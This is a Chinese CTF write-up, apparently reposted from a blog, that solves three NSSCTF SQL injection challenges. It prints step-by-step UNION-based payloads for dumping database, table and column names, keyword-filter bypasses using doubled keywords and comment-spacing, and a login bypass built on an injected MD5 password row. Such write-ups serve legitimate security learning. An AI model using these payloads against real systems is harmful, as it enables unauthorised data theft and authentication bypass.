首页 星云 工具 资源 星选 资讯 热门工具
:

PDF转图片 完全免费 小红书视频下载 无水印 抖音视频下载 无水印 数字星空

NSSCTF———Web(sql注入)

编程知识
2024年07月21日 17:32

[LitCTF 2023]这是什么?SQL !注一下 !

[SWPUCTF 2022 新生赛]ez_sql

[GXYCTF 2019]BabySqli

                                                                         点击右下角文章可跳转

[LitCTF 2023]这是什么?SQL !注一下 !

首先我们打开靶场查看信息,提示了闭合方式为id = (((((())))))

然后我们进行判断回显位,用order by或group by都可以,会发现2有回显,3没有回显,所以回显位为2。如果细心可以发现题目也有提示username,password也可以猜测回显位为2,如果保险起见也可以测试一下

接下来就是进行查询数据库的操作,一般来说我们用http://node5.anna.nssctf.cn:28411/?id=1)))))) union select 1,database() --+这种语句来查询,但这道题数据库有很多,而且直接查出来的数据库得到的flag是假的,所以我就不演示了,你们可以自己查查看,我们直接查询全部数据库名

我用的是union select 1,schema_name from information_schema.schemata--+来查询

 

可以看到有几个很可能存在flag的数据库 ctftraining和ctf,这里我就直接跟大家说第一个存在真的flag。然后进行常规的sql注入

第一步,查表名    union select 1,group_concat(table_name)from information_schema.tables where table_schema='ctftraining'--+

可以看到有一个叫flag的表名,

第二步,查列名:union select 1,group_concat(column_name)from information_schema.columns where table_name='flag'--+

 

最后再查询一下这个叫flag的数据就可以得到flag

union select 1,group_concat(flag)from ctftraining.flag--+

 

 

[SWPUCTF 2022 新生赛]ez_sql

 

上来给了一波提示,相对安全的传参意思就是POST传参,还直接提示了参数是nss,我们先尝试随便输个数字,直接给了flag,但是这flag一看就是假的

 

然后用nss1 and1=1 这种手段判断类型,这题是字符型我就不演示了,然后我们要去判断回显数,会发现or和空格都被过滤了

 

 然后我们用双写or绕过,用/**/代替空格,对了这里--+也被过滤了,我们可以用#号带替--+

我们再试一次 nss=1'/**/oorrder/**/by/**/3#

如果是4的话会报错,所以回显数为3

 然后我们用联合查询去查数据库名,这道题的union也被过滤了,同样我们双写绕过     nss=1'/**/uniunionon/**/select/**/1,2,database()/**/limit/**/1,1#

后面用了limit 1,1,因为第一个回显位没有我们要的信息,我们需要跳转到第二个回显位,所以得到数据库名,NSS_db

 

下一步就是查表名   nss=1'/**/uniunionon/**/select/**/1,2,group_concat(table_name)from/**/infoorrmation_schema.tables/**/where/**/table_schema='NSS_db'/**/limit/**/1,1#

记得information里面的or也需要双写

 

根据表名的格式估计flag在NSS_tb里面,继续查列名

nss=1'/**/uniunionon/**/select/**/1,2,group_concat(column_name)from/**/infoorrmation_schema.columns/**/where/**/table_name='NSS_tb'/**/limit/**/1,1#

 再继续查这里面的数据     nss=1'/**/uniunionon/**/select/**/1,2,group_concat(id,Secr3t,flll444g)from/**/NSS_db.NSS_tb/**/limit/**/1,1#

得到flag:NSSCTF{b734ae20-5169-4ce2-8fce-9e3a4f0c7830}NSSCTF{b734ae20-5169-4ce2-8fce-9e3a4f0c7830}

 

[GXYCTF 2019]BabySqli

这道题差点把我绕懵了

首先我们打开环境是一个登录界面,先尝试一下万能密码啥的,我这里先直接抓包,在burpsuit里面操作,发送到中继发现有一串神秘字母

 拿去解密一下,发现是base32和base64的加密,解密得到  select * from user where username = '$name'

这段代码的意思是检索你输入的username是否在数据库中存在,我们可能就大致对这道题的查询有点数,我们去测试一下回显

注意这里是过滤了or的用大小写绕过,发现为4时报错,说明回显有三个,但如果我们去实际查询表名列名会发现很难查出来,因为这道题的过滤非常严格。

 

那我们要用做题的经验来看,这是一道登录的界面,而列数又是三列,那估计三列分别对应id,username,password。再结合一开始解密的信息,依次去查询是否存在数据,那这三列就很有可能了

再加上我们可以发现,当我们随便输入账号密码时,弹出的是 wrong user!

当我们账户是admin时,弹出的是 wrong pass!

 

说明admin这个账户是存在的,但是我们不知道admin在第几列,我们可以去试一试,当放在第一列时:

提示用户名不对

 

 放在第二列时,显示wrong pass! 说明username正确

 

我们知道了账号,那我们得知道密码才能登录成功,这里有一个知识点:mysql在查询不存在的数据时会自动构建虚拟数据,一般数据要么明文,要么MD5;

我们不知道密码我们可以去构造密码,用md5的形式,就比如我输的密码是123,那我用md5加密后输入到第三列,那也可以完成查询,登陆成功

123经过md5加密后结果为:202cb962ac59075b964b07152d234b70

下面实践:

 得到flag:


NSSCTF{ce21b171-dc0b-4b09-a56d-d6cd629ae515}

这题的密码不是唯一的,随便你密码是什么,自己构造,md5加密输入进去就行啦

 

From:https://www.cnblogs.com/sjjaly/p/18314519
本文地址: http://www.shuzixingkong.net/article/254
0评论
提交 加载更多评论
其他文章 一文全懂:独立冗余磁盘阵列(RAID)
本文介绍了独立冗余磁盘阵列RAID的四种常见模式:RAID0、RAID1、RAID5、RAID10,并且使用mdadm命令在liux系统上如何创建磁盘阵列的详细步骤。
一文全懂:独立冗余磁盘阵列(RAID) 一文全懂:独立冗余磁盘阵列(RAID) 一文全懂:独立冗余磁盘阵列(RAID)
方法引用
方法引用有什么用? 写更少代码 提高代码复用性和可维护性(尤其是团队项目中) 引用静态方法如果你要引用的是一个静态方法,你可以使用类名::静态方法的形式。例如, 将集合中String类型数据转换成int类型这是匿名内部类的写法:查看parsInt源码可以发现该方法满足静态方法引用的条件.因此可以直接
方法引用 方法引用 方法引用
ComfyUI进阶:Comfyroll插件 (六)
ComfyUI进阶:Comfyroll插件 (六)前言:学习ComfyUI是一场持久战,而Comfyroll 是一款功能强大的自定义节点集合,专为 ComfyUI 用户打造,旨在提供更加丰富和专业的图像生成与编辑工具。借助这些节点,用户可以在静态图像的精细调整和动态动画的复杂构建方面进行深入探索。C
ComfyUI进阶:Comfyroll插件 (六) ComfyUI进阶:Comfyroll插件 (六) ComfyUI进阶:Comfyroll插件 (六)
试试这个工作流引擎吧,还有个简洁美观的流程设计器
ruoyi-flow若依工作流引擎设计器一个简洁轻量的工作流引擎。 java工作流引擎,真正的国产工作流引擎,前后端代码完整且还拥有一个简洁美观的流程设计器。 前端vue后端Java的。 功能特点 1、使用json存储流程模板 2、支持驳回、拿回等 3、支持状态配置、权限配置 4、支持条件分支 流程
试试这个工作流引擎吧,还有个简洁美观的流程设计器 试试这个工作流引擎吧,还有个简洁美观的流程设计器 试试这个工作流引擎吧,还有个简洁美观的流程设计器
LLM-01 大模型 本地部署运行 ChatGLM2-6B-INT4(6GB) 简单上手 环境配置 单机单卡多卡 2070Super8GBx2 打怪升级!
超详细从0-1部署ChatGLM2-6B-INT4(6GB),双卡 2070 Super 8GB * 2,后续一步一步对大模型进行微调测试!
LLM-01 大模型 本地部署运行 ChatGLM2-6B-INT4(6GB) 简单上手 环境配置 单机单卡多卡 2070Super8GBx2 打怪升级! LLM-01 大模型 本地部署运行 ChatGLM2-6B-INT4(6GB) 简单上手 环境配置 单机单卡多卡 2070Super8GBx2 打怪升级! LLM-01 大模型 本地部署运行 ChatGLM2-6B-INT4(6GB) 简单上手 环境配置 单机单卡多卡 2070Super8GBx2 打怪升级!
Linux安全启动及Machine Owner Key(UEFI BIOS MBR GPT GRUB)
PS:要转载请注明出处,本人版权所有。 PS: 这个只是基于《我自己》的理解, 如果和你的原则及想法相冲突,请谅解,勿喷。 环境说明 无 前言 只要装过各种系统的人都或多或少会接触到UEFI或者BIOS这样的概念。本文也不会对这些概念进行详解,本文主要把这些概念串起来,并引入MOK(Machine
Linux安全启动及Machine Owner Key(UEFI BIOS MBR GPT GRUB)
salesforce零基础学习(一百四十)Record Type在实施过程中的考虑
本篇参考: salesforce 零基础学习(二十九)Record Types简单介绍 https://help.salesforce.com/s/articleView?id=sf.customize_recordtype_considerations.htm&type=5 https:/
Ubuntu16.04升级openssh-9.8p1
7月1日OpenSSH官方发布安全更新,忙着处理的同时记录一下升级过程。 系统环境 root@NServer:~# cat /proc/version Linux version 3.4.113-sun8i (root@test) (gcc version 5.5.0 (Linaro GCC 5.5
Ubuntu16.04升级openssh-9.8p1 Ubuntu16.04升级openssh-9.8p1 Ubuntu16.04升级openssh-9.8p1